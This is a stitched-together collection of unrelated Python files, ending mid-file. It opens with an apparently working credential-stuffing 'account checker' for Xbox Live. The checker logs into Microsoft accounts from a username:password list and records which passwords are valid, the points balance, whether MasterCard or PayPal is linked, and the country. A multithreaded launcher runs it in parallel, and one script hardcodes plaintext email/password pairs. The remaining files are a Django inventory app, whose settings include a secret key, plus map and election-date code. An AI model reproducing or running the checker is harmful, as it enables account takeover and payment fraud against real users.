line=data_file.readline() i=i+1 ie.Quit() ie = win32com.client.Dispatch("InternetExplorer.Application") ie.Visible = 1 continue sleep(1) ie.Document.getElementById("i0116").value = username ie.Document.getElementById("i0118").value = password ie.Document.getElementById("idSIButton9").click() waitUntilReady(ie) sleep(8) #while not (ie.Document.getElementById("points") or ie.Document.getElementById("idSIButton9")): # print("sleeping...for balance or error,threadid=%d"%threadid) # sleep(1) refresh=0 #i0278代码登陆失败,是左边的那个大的框 while 1: if(ie.Document.getElementById("points") or ie.Document.getElementById("i0278")): break else: print("sleeping...for balance or error,threadid=%d"%threadid) sleep(1) #如何判断有没有登陆成功? if ie.Document.getElementById("i0278"): run_file.write("%d 用户名:%s 密码:%s ---- 密码错误\n"%(i,username,password)) print("%d-R\t密码错误 ---> 用户名:%s\t密码:%s"%(i,username,password)) line=data_file.readline() i=i+1 continue refresh=0; #while not ie.Document.getElementById("points").firstChild: # print("sleeping...for firstChild threadid=%d"%threadid) # sleep(1) balance = 1234 #balance = str(ie.Document.getElementById('points').firstChild.innerText) #获得国家信息 state_url = ie.Document.getElementById('points').nextSibling.firstChild.href regex=r"com/(.+)/Account" country=re.search(regex,state_url).groups()[0]; ie.Document.getElementById('points').nextSibling.firstChild.click() waitUntilReady(ie) #sleep(30) while not ie.Document.getElementById("BodyContent").firstChild: print("sleeping...for BodyContent threadid=%d"%threadid) sleep(1) PP_AND_CARD=ie.Document.getElementById("BodyContent").innerText #必须去等这个PointsBalance while not ie.Document.getElementById("PointsBalance"): print("sleeping...for PointsBalance threadid=%d"%threadid) sleep(1) balance_nodes=ie.Document.getElementById("PointsBalance").firstChild.childNodes balance=balance_nodes[2].innerText regex=r"MasterCard:" bound = re.search(regex,PP_AND_CARD); regex=r"PayPal:" pp = re.search(regex,PP_AND_CARD); if bound: bound = '有绑定' else: bound = '无绑定' if pp: pp = '有pp' else: pp = '无pp' res="%s %s %s %s %s %s" % (username, password, balance,bound, pp, country) print("%d-R\t"%i+res) result_file.write(res+"\n") run_file.write("%d 用户名:%s 密码:%s ---- 密码正确\n"%(i,username,password)) # log out ie.Document.getElementById("AdditionalLinks").nextSibling.firstChild.click() waitUntilReady(ie) sleep(12) #if(ie.Document.getElementById("AdditionalLinks")): # ie.Document.getElementById("AdditionalLinks").nextSibling.firstChild.click() # print("quit again 8...") # sleep(16) line=data_file.readline() i=i+1 #退出ie ie.Quit() result_file.close() run_file.close()
Python
#!/user/bin/env python # -*- coding:UTF-8 -*- ''' ''' import win32com.client from time import sleep import sys, time import pythoncom import threading import re #1、加入多线程 #2、加入异常处理 #3、加入读写文件 stopEvent=threading.Event() class EventSink(object): def OnNavigateComplete2(self,*args): stopEvent.set() #wait for ie ok def waitUntilReady(ie): if ie.ReadyState!=4: while 1: #print("waiting") pythoncom.PumpWaitingMessages() stopEvent.wait(.2) if stopEvent.isSet() or ie.ReadyState==4: stopEvent.clear() break; #login_url = 'https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1336294672&rver=6.0.5286.0&wp=MBI&wreply=https:%2F%2Flive.xbox.com:443%2Fxweb%2Flive%2Fpassport%2FsetCookies.ashx%3Frru%3Dhttps%253a%252f%252flive.xbox.com%252fen-US%252fAccount%252fSignin%253freturnUrl%253dhttp%25253a%25252f%25252fwww.xbox.com%25252fen-US%25252f%25253flc%25253d1033&lc=1033&id=66262&cbcxt=0' login_url='https://login.live.com' logout_url = 'https://live.xbox.com/Account/Signout' #username='natedogg_w@yahoo.com' #password='w12345' username='samcool345@hotmail.co.uk' password='killer1' ie = win32com.client.Dispatch("InternetExplorer.Application") ie.Visible = 1 first_url="http://www.xbox.com" #first_url ie.Navigate(first_url) waitUntilReady(ie) sleep(5) #second_url,login print("open login page") second_url="https://live.xbox.com/Account/Signin?returnUrl=http%3a%2f%2fwww.xbox.com%2fen-US%2f" ie.Navigate(second_url) #while ie.Busy: # sleep(1) waitUntilReady(ie) #sleep(20) # log in #print("open login page") #ie.Navigate(login_url) #while ie.Busy: # sleep(1) print("start login") ie.Document.getElementById("i0116").value = username ie.Document.getElementById("i0118").value = password ie.Document.getElementById("idSIButton9").click() waitUntilReady(ie) sleep(60) print("login success") #如何判断有没有登陆成功? # check account informations #account_url = 'https://live.xbox.com/en-US/Account?xr=mebarnav' #account_url = 'http://www.xbox.com' #ie.Navigate(account_url) #while ie.Busy: # sleep(1) #again sign in #ie.Navigate(second_usrl) #while ie.Busy: # sleep(1) #sleep(30); #balance = str(ie.Document.getElementsById('points')[0].innerText) balance = str(ie.Document.getElementById('points').firstChild.innerText) # is bound or not #print("%s %s %s %s %s %s" % (username, password, balance,bound, pp, country)) print("checking account informations") ie.Document.getElementById('points').nextSibling.firstChild.click() state_url = ie.Document.getElementById('points').nextSibling.firstChild.href print(state_url) regex=r"com/(.+)/Account" country=re.search(regex,state_url).groups()[0]; print(country) waitUntilReady(ie) sleep(30) #获得余额 #nodes=ie.Document.getElementById('PointsBalance').childNodes #balance=nodes[2].firstChild PP_AND_CARD=ie.Document.getElementById("BodyContent").innerText #print(PP_AND_CARD) regex=r"MasterCard:" bound = re.search(regex,PP_AND_CARD); regex=r"PayPal:" pp = re.search(regex,PP_AND_CARD); if bound: bound = '有绑定' else: bound = '无绑定' if pp: pp = '有pp' else: pp = '无pp' # country #country = "USA" print("%s %s %s %s %s %s" % (username, password, balance,bound, pp, country)) # log out #ie.Navigate(logout_url) #while ie.Busy: # sleep(1) #print("log out successfully")
Python
import urllib import urllib.request import re,os,sys,subprocess #根据总数来判断 if len(sys.argv)<3: print("请输入两个参数,例如:python read_file.py data.txt 2") system.exit(0) data_file_name=sys.argv[1] thread_num=int(sys.argv[2]) data_file=open(data_file_name) i=0; total=0 line=data_file.readline() while line: total=total+1 line=data_file.readline() one_thread_reqest=(int)(total/thread_num) if 0!=total%thread_num: one_thread_reqest=one_thread_reqest+1 j=0; while j<thread_num: #启动一个线程,把参数传给它 if j==thread_num-1: print(j*one_thread_reqest,total+1) #os.system("get.py %d %d"%(j*one_thread_reqest,total+1)) #os.popen('start '+"get.py %d %d"%(j*one_thread_reqest,total+1)).close() p=subprocess.Popen('cmd.exe',shell=False,stdin=subprocess.PIPE) cmd="python get.py %s %d %d %d\n"%(data_file_name,j,j*one_thread_reqest,total+1) print(cmd) p.stdin.write(cmd.encode("utf-8")) else: print(j*one_thread_reqest,(j+1)*one_thread_reqest) #os.system("get.py %s %d %d %d"%(data_file_name,j,j*one_thread_reqest,(j+1)*one_thread_reqest)) #os.popen('start '+"get.py %s %d %d %d"%(data_file_name,j,j*one_thread_reqest,(j+1)*one_thread_reqest)).close() p=subprocess.Popen('cmd.exe',shell=False,stdin=subprocess.PIPE) cmd="python get.py %s %d %d %d\n"%(data_file_name,j,j*one_thread_reqest,(j+1)*one_thread_reqest) print(cmd) p.stdin.write(cmd.encode("utf-8")) j=j+1
Python
from django.conf import settings from django.contrib.auth.models import User from django.contrib import admin from django.db import models # In the settings and such you will be able to change the screen name # Here we are using App Grouping to describe a set of applications # in a more commercial setting like a consulting company this might be used as a list of clients class ApplicationGrouping(models.Model): Grouping_Name = models.CharField(max_length=64,help_text='Enter the name of the Application Grouping') Grouping_Description = models.TextField(help_text='Enter the description of the Application Grouping') AGAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) AGLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) AGAdded_User = models.CharField(max_length=64,editable=False) AGLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.Grouping_Name # Long term the concept of a sub group of a sub group needs to be established # for now we will just setup for a single level of subgroups. class SubGroup(models.Model): ParentGrouping = models.ForeignKey(ApplicationGrouping) SubGroupName = models.CharField('Subgroup Name:',max_length=200) SGAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) SGLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) SGAdded_User = models.CharField(max_length=64,editable=False) SGLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.SubGroupName # Application defines the information about the app that are not dynamicly updated # For Instance, it contains the the app Names but not the servers they are on class Application(models.Model): AGrouping = models.ForeignKey(ApplicationGrouping) App_Name = models.CharField('App. Name',max_length=200,unique=True) App_URI = models.CharField('App. URI',max_length=1024,help_text='Enter in only the part of the URL after the machine name') App_Version_File = models.CharField('Version File Name',max_length=256,blank=True) App_Description = models.TextField('App Description',help_text='Enter the Description of the application along with the App Owner and Development Lead') App_Listener_Port = models.SmallIntegerField(blank=True,null=True ) AAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) ALast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) AAdded_User = models.CharField(max_length=64,editable=False) ALast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.App_URI # Sub-Applications are additional Web Apps listed in the configurations # The are linked to other apps for organization purposes App also doesn't have a # Listner Port or Version File because it should use the same as the primary app class SubApplication(models.Model): Primary_App = models.ForeignKey(Application) App_Name = models.CharField('App. Name',max_length=200) App_URI = models.CharField('App. URI',max_length=1024,help_text='Enter in only the part of the URL after the machine name') App_Description = models.TextField('App Description',help_text='Enter the Description of the application along with the App Owner and Development Lead') AAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) ALast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) AAdded_User = models.CharField(max_length=64,editable=False) ALast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.App_URI # If a support group test page has been developed this represents the link to it with directions on how to use it class ApplicationTestPage(models.Model): App_Name = models.ForeignKey(Application) TPName = models.CharField('Test Page Name',max_length=64,help_text='Name the test page.(useful if there are several tests possible.)') Test_Located = models.CharField('Where is the Test Located?',max_length=200,help_text='What is the URL/URI for the test(i.e. http://someserver/someapp/test or /someapp/test/ or /test/)') Test_Instruction = models.TextField('How do I use it?',help_text='Enter any steps needed to run the test on the test page.') TPAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) TPLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) TPAdded_User = models.CharField(max_length=64,editable=False) TPLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.TPName # This table will be used by a batch process to gather this information class ApplicationVersion(models.Model): VName = models.ForeignKey(Application) Version_info = models.CharField(max_length=128) AVAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) AVLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) AVAdded_User = models.CharField(max_length=64,editable=False) AVLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.Version_info # Server Models represent the type of Software involved. For Example: WAS, WAS Portal, Weblogic, Tomcat class ServerModel(models.Model): SMName = models.CharField('Application Server Type',max_length=128,help_text='The Common name of the aplication server software. i.e. WebSphere, Tomcat, Weblogic') SMVersion_Number = models.CharField('Software Version',max_length=64,help_text='Enter the version of the App Server Software. i.e. 6.0.2.21, 5.x,4.0.x') SMAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) SMLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) SMAdded_User = models.CharField(max_length=64,editable=False) SMLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): type_name= self.SMName+' '+self.SMVersion_Number return type_name # This gives us a way to add Admin servers like WAS Deployment Managers and supports # using automated batch building discovery. class ServerName(models.Model): SVersion_Number = models.ForeignKey(ServerModel) FQDN = models.CharField(max_length=128) IP_Address = models.IPAddressField() SGrouping = models.ForeignKey(ApplicationGrouping) SAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) SLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) SAdded_User = models.CharField(max_length=64,editable=False) SLast_User = models.CharField(max_length=64,editable=False) TYPES_OF_SERVERS = ( ('D', 'Deployment Manager'), ('N', 'Node'), ('S', 'Stand Alone') ) Server_Class = models.CharField(max_length=1, choices=TYPES_OF_SERVERS) TEIR_OF_SERVER = ( ('D', 'Development'), ('I', 'Integration'), ('Q', 'QA/Test'), ('S', 'Staging'), ('P', 'Production') ) Server_Teir = models.CharField(max_length=1, choices=TEIR_OF_SERVER) def __unicode__(self): return self.FQDN class ApplicationToServer(models.Model): AppURI = models.ForeignKey(Application) ServerName = models.ForeignKey(ServerName) Listener_Port = models.SmallIntegerField(blank=True) MAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) MLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) MAdded_User = models.CharField(max_length=64,editable=False) MLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.AppURI
Python
from django.conf.urls.defaults import * # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', # Example: # (r'^app_srv_monitor/', include('app_srv_monitor.foo.urls')), # Uncomment the admin/doc line below and add 'django.contrib.admindocs' # to INSTALLED_APPS to enable admin documentation: # (r'^admin/doc/', include('django.contrib.admindocs.urls')), # Uncomment the next line to enable the admin: (r'^admin/(.*)', admin.site.root), (r'^app_srv_monitor/admin/(.*)', admin.site.root), )
Python
from django.contrib import admin import datetime from app_srv_monitor.home.models import ApplicationGrouping from app_srv_monitor.home.models import SubGroup from app_srv_monitor.home.models import Application from app_srv_monitor.home.models import ApplicationTestPage from app_srv_monitor.home.models import ServerModel from app_srv_monitor.home.models import ServerName from app_srv_monitor.home.models import ApplicationToServer from django.contrib.auth.models import User def get_current_user(request): theUser=request.user return theUser class ApplicationToServerMapping(admin.ModelAdmin): fieldsets = [('Basic Matching',{ 'fields':('AppURI','ServerName','Listener_Port') })] fk_name = "AppURI" list_display = ('AppURI','ServerName') def save_model(self, request, obj, form, change): obj.MAdded_User = str(request.user) obj.MLast_User = str(request.user) obj.save() admin.site.register(ApplicationToServer,ApplicationToServerMapping) class ApplicationAdmin(admin.ModelAdmin): fieldsets = [ ('Basic Information',{ 'fields':('AGrouping','App_Name','App_URI','App_Listener_Port','App_Version_File','App_Description') }) ] list_display = ('App_Name','AGrouping','AAdded_Date','ALast_Date') def save_model(self, request, obj, form, change): obj.save() admin.site.register(Application,ApplicationAdmin) class GroupAdmin(admin.ModelAdmin): fieldsets = [ ('Basic Info', { 'fields': ('Grouping_Name', 'Grouping_Description') }), ] def save_model(self, request, obj, form, change): obj.AGAdded_User = str(request.user) obj.AGLast_User = str(request.user) obj.save() # list_display = ('Grouping_Name','AGAdded_Date','AGAdded_User','AGLast_Date','AGLast_User') list_display = ('Grouping_Name','AGAdded_Date','AGLast_Date') admin.site.register(ApplicationGrouping, GroupAdmin) class SubGroupAdmin(admin.ModelAdmin): fieldsets = [ ('Basic Info', { 'fields': ('ParentGrouping', 'SubGroupName') }), ] def save_model(self, request, obj, form, change): obj.SGAdded_User = str(request.user) obj.SGLast_User = str(request.user) obj.save() list_display = ('ParentGrouping','SubGroupName','SGAdded_Date','SGAdded_User','SGLast_Date','SGLast_User') admin.site.register(SubGroup, SubGroupAdmin) class ServModel(admin.ModelAdmin): fieldsets = ( ('Server Type Information',{ 'fields': ('SMName', 'SMVersion_Number') }), ) list_display = ('SMName','SMVersion_Number','SMAdded_Date','SMLast_Date') def save_model(self, request, obj, form, change): obj.SMAdded_User = str(request.user) obj.SMLast_User = str(request.user) obj.save() admin.site.register(ServerModel, ServModel) class ServerNameAdmin(admin.ModelAdmin): fieldsets = [ ('Server Information',{ 'fields': ('FQDN','SVersion_Number','IP_Address', 'SGrouping','Server_Class') }), ] radio_fields = {'Server_Class': admin.VERTICAL} list_display = ('FQDN','SAdded_User','SAdded_Date','SLast_User','SLast_Date','SGrouping') def save_model(self, request, obj, form, change): obj.SAdded_User = str(request.user) obj.SLast_User = str(request.user) obj.save() admin.site.register(ServerName, ServerNameAdmin) class TestPage(admin.ModelAdmin): fieldsets = [ ('Test Page Information',{ 'fields': ('App_Name','TPName','Test_Located','Test_Instruction',) }), ] list_display = ('TPName','Test_Located','TPLast_User','TPLast_Date') def save_model(self, request, obj, form, change): obj.TPAdded_User = str(request.user) obj.TPLast_User = str(request.user) obj.save() admin.site.register(ApplicationTestPage, TestPage)
Python
# Create your views here.
Python
#!/usr/bin/env python from django.core.management import execute_manager try: import settings # Assumed to be in the same directory. except ImportError: import sys sys.stderr.write("Error: Can't find the file 'settings.py' in the directory containing %r. It appears you've customized things.\nYou'll have to run django-admin.py, passing it your settings module.\n(If the file settings.py does indeed exist, it's causing an ImportError somehow.)\n" % __file__) sys.exit(1) if __name__ == "__main__": execute_manager(settings)
Python
# Django settings for app_srv_monitor project. DEBUG = True TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('Your Name', 'your_email@domain.com'), ) MANAGERS = ADMINS #DATABASE_ENGINE = 'mysql' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'. DATABASE_ENGINE = 'sqlite3' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'. DATABASE_NAME = './app_srv_monitor' # Or path to database file if using sqlite3. #DATABASE_USER = 'app_srv_monitor' # Not used with sqlite3. #DATABASE_PASSWORD = '' # Not used with sqlite3. #DATABASE_HOST = '' # Set to empty string for localhost. Not used with sqlite3. #DATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3. # Local time zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all operating systems. # If running in a Windows environment this must be set to the same as your # system time zone. TIME_ZONE = 'America/New York' # Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = False # Absolute path to the directory that holds media. # Example: "/home/media/media.lawrence.com/" MEDIA_ROOT = '' # URL that handles the media served from MEDIA_ROOT. Make sure to use a # trailing slash if there is a path component (optional in other cases). # Examples: "http://media.lawrence.com", "http://example.com/media/" MEDIA_URL = '' # URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a # trailing slash. # Examples: "http://foo.com/media/", "/media/". ADMIN_MEDIA_PREFIX = '/admin_media/' # Make this unique, and don't share it with anybody. SECRET_KEY = 'mtxg@jrwf*m*c!r-(ul^^uo9n812^*7bowibt#8yd^s1e$p3q3' # List of callables that know how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', ) ROOT_URLCONF = 'app_srv_monitor.home.urls' TEMPLATE_DIRS = ( # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates". # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. "/srv/www/app_srv_monitor/template" ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'app_srv_monitor.home', )
Python
#print 'Content-Type: application/xml' #print '' # #f = open( 'voter-info-gadget.xml', 'r' ) #xml = f.read() #f.close() # #print xml #import re #from pprint import pformat, pprint from google.appengine.ext import webapp from google.appengine.ext.webapp.util import run_wsgi_app #def dumpRequest( req ): # return pformat({ # 'environ': req.environ, # 'url': req.url, # 'headers': req.headers, # }) #def addDump( xml, req ): # dr = dumpRequest( req ) # dr = re.sub( r'\}', '\n}', dr ) # dr = re.sub( r"'wsgi[^\n]+\n", '', dr ) # dr = re.sub ( r'\n\s*', ' ', dr ) # dr = re.sub ( r',\s*\}', '}', dr ) # return xml.replace( 'var opt =', 'alert( (' + dr + ').toSource() );\n\n\tvar opt =' ) # poor man's template class GadgetHandler( webapp.RequestHandler ): def get( self, dump, debug ): self.response.headers['Content-Type'] = 'application/xml' if debug == None: debug = '' f = open( 'voter-info-gadget.xml', 'r' ) xml = f.read() f.close() xml = xml.replace( '{{debug}}', debug ) # poor man's template #if dump: # xml = addDump( xml, self.request ) self.response.out.write( xml ) application = webapp.WSGIApplication([ ( r'/(dump-)?(.+)?voter-info-gadget\.xml', GadgetHandler ) ], debug = True ) def main(): run_wsgi_app( application ) if __name__ == '__main__': main()
Python
#!/usr/bin/env python import math # z() and zz() are a quick and dirty hack to deal with the Aleutian Islands. # We should use a more correct algorithm for extendBounds like the one # in the Maps API, but this is good enough to fix the immediate problem. def z( n ): if n > 0.0: return n - 360.0 return n def zz( n ): if n < -180.0: return n + 360.0 return n def minlat( a, b ): if a == None: return b return min( a, b ) def maxlat( a, b ): if a == None: return b return max( a, b ) def minlng( a, b ): if a == None: return b return zz( min( z(a), z(b) ) ) def maxlng( a, b ): if a == None: return b return zz( max( z(a), z(b) ) ) class Geo: def __init__( self, zoom=0, tilesize=256 ): self.zoom = zoom self.tilesize = tilesize def extendBounds( self, a, b ): return [ [ minlng( a[0][0], b[0][0] ), minlat( a[0][1] , b[0][1] ) ], [ maxlng( a[1][0], b[1][0] ), maxlat( a[1][1] , b[1][1] ) ] ] def inflateBounds( self, a, n ): return [ [ a[0][0] - n, a[0][1] - n ], [ a[1][0] + n, a[1][1] + n ] ] def offsetBounds( self, a, pt ): return [ [ a[0][0] + pt[0], a[0][1] + pt[1] ], [ a[1][0] + pt[0], a[1][1] + pt[1] ] ] def offsetBoundsMinus( self, a, pt ): return [ [ a[0][0] - pt[0], a[0][1] - pt[1] ], [ a[1][0] - pt[0], a[1][1] - pt[1] ] ] def scalePoint( self, pt, scale ): return [ pt[0] * scale, pt[1] * scale ] def scaleBounds( self, a, scale ): return [ self.scalePoint( a[0], scale ), self.scalePoint( a[1], scale ) ] def tileBounds( self, bounds ): def lo( n ): return int( n / self.tilesize ) * self.tilesize def hi( n ): return ( int( n / self.tilesize ) + 1 ) * self.tilesize min = bounds[0]; max = bounds[1] offset = [ lo(min[0]), lo(min[1]) ] size = [ hi(max[0]) - offset[0], hi(max[1]) - offset[1] ] return offset, size def pixFromGeoPoint( self, point ): lng = point[0] if lng > 180.0: lng -= 360.0 lng = lng / 360.0 + 0.5 lat = point[1] lat = 0.5 - ( math.log( math.tan( ( math.pi / 4.0 ) + ( lat * math.pi / 360.0 ) ) ) / math.pi / 2.0 ); scale = ( 1 << self.zoom ) * self.tilesize return [ int( lng * scale ), int( lat * scale ) ] def pixFromGeoBounds( self, bounds ): a = self.pixFromGeoPoint(bounds[0]) b = self.pixFromGeoPoint(bounds[1]) return [ [ a[0], b[1] ], [ b[0], a[1] ] ] #print geoToPixel( [ 0.0, 0.0 ], 0 ) == [ 128, 128 ] #print geoToPixel( [ 0.0, 0.0 ], 1 ) == [ 256, 256 ] # #print geoToPixel( [ -60.0, 45.0 ], 0 ) == [ 85, 92 ] #print geoToPixel( [ -60.0, 45.0 ], 1 ) == [ 170, 184 ] # #print geoToPixel( [ 0.0, 0.0 ], 13 )
Python
#!/usr/bin/env python array = [ { 'abbr': 'AL', 'name': 'Alabama', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'AK', 'name': 'Alaska', 'parties': { 'dem': { 'date': '02-05', 'type': 'caucus' }, 'gop': { 'date': '02-05', 'type': 'caucus' } } }, { 'abbr': 'AZ', 'name': 'Arizona', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'AR', 'name': 'Arkansas', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'CA', 'name': 'California', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'CO', 'name': 'Colorado', 'parties': { 'dem': { 'date': '02-05', 'type': 'caucus' }, 'gop': { 'date': '02-05', 'type': 'caucus' } } }, { 'abbr': 'CT', 'name': 'Connecticut', 'votesby': 'town', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'DE', 'name': 'Delaware', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'DC', 'name': 'District of Columbia', 'parties': { 'dem': { 'date': '02-12' }, 'gop': { 'date': '02-12' } } }, { 'abbr': 'FL', 'name': 'Florida', 'parties': { 'dem': { 'date': '01-29' }, 'gop': { 'date': '01-29' } } }, { 'abbr': 'GA', 'name': 'Georgia', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'HI', 'name': 'Hawaii', 'parties': { 'dem': { 'date': '02-19', 'type': 'caucus' }, 'gop': { 'date': '01-25', 'type': 'caucus' } } }, { 'abbr': 'ID', 'name': 'Idaho', 'parties': { # TEMP FOR 5-27 IDAHO PRIMARY #'dem': { 'date': '02-05', 'type': 'caucus' }, 'dem': { 'date': '05-27' }, 'gop': { 'date': '05-27' } } }, { 'abbr': 'IL', 'name': 'Illinois', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'IN', 'name': 'Indiana', 'parties': { 'dem': { 'date': '05-06' }, 'gop': { 'date': '05-06' } } }, { 'abbr': 'IA', 'name': 'Iowa', 'parties': { 'dem': { 'date': '01-03', 'type': 'caucus' }, 'gop': { 'date': '01-03', 'type': 'caucus' } } }, { 'abbr': 'KS', 'name': 'Kansas', 'votesby': 'district', 'parties': { 'dem': { 'date': '02-05', 'type': 'caucus' }, 'gop': { 'date': '02-09', 'type': 'caucus' } } }, { 'abbr': 'KY', 'name': 'Kentucky', 'parties': { 'dem': { 'date': '05-20' }, 'gop': { 'date': '05-20' } } }, { 'abbr': 'LA', 'name': 'Louisiana', 'parties': { 'dem': { 'date': '02-09' }, 'gop': { 'date': '01-22', 'type': 'caucus' } } }, { 'abbr': 'ME', 'name': 'Maine', 'parties': { 'dem': { 'date': '02-10', 'type': 'caucus' }, 'gop': { 'date': '02-01', 'type': 'caucus' } } }, { 'abbr': 'MD', 'name': 'Maryland', 'parties': { 'dem': { 'date': '02-12' }, 'gop': { 'date': '02-12' } } }, { 'abbr': 'MA', 'name': 'Massachusetts', 'votesby': 'town', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'MI', 'name': 'Michigan', 'parties': { 'dem': { 'date': '01-15' }, 'gop': { 'date': '01-15' } } }, { 'abbr': 'MN', 'name': 'Minnesota', 'parties': { 'dem': { 'date': '02-05', 'type': 'caucus' }, 'gop': { 'date': '02-05', 'type': 'caucus' } } }, { 'abbr': 'MS', 'name': 'Mississippi', 'parties': { 'dem': { 'date': '03-11' }, 'gop': { 'date': '03-11' } } }, { 'abbr': 'MO', 'name': 'Missouri', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'MT', 'name': 'Montana', 'parties': { 'dem': { 'date': '06-03' }, 'gop': { 'date': '02-05', 'type': 'caucus' } } }, { 'abbr': 'NE', 'name': 'Nebraska', 'parties': { 'dem': { 'date': '02-09', 'type': 'caucus' }, 'gop': { 'date': '05-13' } } }, { 'abbr': 'NV', 'name': 'Nevada', 'parties': { 'dem': { 'date': '01-19', 'type': 'caucus' }, 'gop': { 'date': '01-19', 'type': 'caucus' } } }, { 'abbr': 'NH', 'name': 'New Hampshire', 'votesby': 'town', 'parties': { 'dem': { 'date': '01-08' }, 'gop': { 'date': '01-08' } } }, { 'abbr': 'NJ', 'name': 'New Jersey', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'NM', 'name': 'New Mexico', 'parties': { 'dem': { 'date': '02-05', 'type': 'caucus' }, 'gop': { 'date': '06-03' } } }, { 'abbr': 'NY', 'name': 'New York', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'NC', 'name': 'North Carolina', 'parties': { 'dem': { 'date': '05-06' }, 'gop': { 'date': '05-06' } } }, { 'abbr': 'ND', 'name': 'North Dakota', 'parties': { 'dem': { 'date': '02-05', 'type': 'caucus' }, 'gop': { 'date': '02-05', 'type': 'caucus' } } }, { 'abbr': 'OH', 'name': 'Ohio', 'parties': { 'dem': { 'date': '03-04' }, 'gop': { 'date': '03-04' } } }, { 'abbr': 'OK', 'name': 'Oklahoma', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'OR', 'name': 'Oregon', 'parties': { 'dem': { 'date': '05-20' }, 'gop': { 'date': '05-20' } } }, { 'abbr': 'PA', 'name': 'Pennsylvania', 'parties': { 'dem': { 'date': '04-22' }, 'gop': { 'date': '04-22' } } }, { 'abbr': 'PR', 'name': 'Puerto Rico', 'parties': { 'dem': { 'date': '06-01' }, 'gop': { 'date': '02-24' } } }, { 'abbr': 'RI', 'name': 'Rhode Island', 'parties': { 'dem': { 'date': '03-04' }, 'gop': { 'date': '03-04' } } }, { 'abbr': 'SC', 'name': 'South Carolina', 'parties': { 'dem': { 'date': '01-26' }, 'gop': { 'date': '01-19' } } }, { 'abbr': 'SD', 'name': 'South Dakota', 'parties': { 'dem': { 'date': '06-03' }, 'gop': { 'date': '06-03' } } }, { 'abbr': 'TN', 'name': 'Tennessee', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'TX', 'name': 'Texas', 'parties': { 'dem': { 'date': '03-04' }, 'gop': { 'date': '03-04' } } }, { 'abbr': 'UT', 'name': 'Utah', 'parties': { 'dem': { 'date': '02-05' }, 'gop': { 'date': '02-05' } } }, { 'abbr': 'VT', 'name': 'Vermont', 'votesby': 'town', 'parties': { 'dem': { 'date': '03-04' }, 'gop': { 'date': '03-04' } } }, { 'abbr': 'VA', 'name': 'Virginia', 'parties': { 'dem': { 'date': '02-12' }, 'gop': { 'date': '02-12' } } }, { 'abbr': 'WA', 'name': 'Washington', 'parties': { 'dem': { 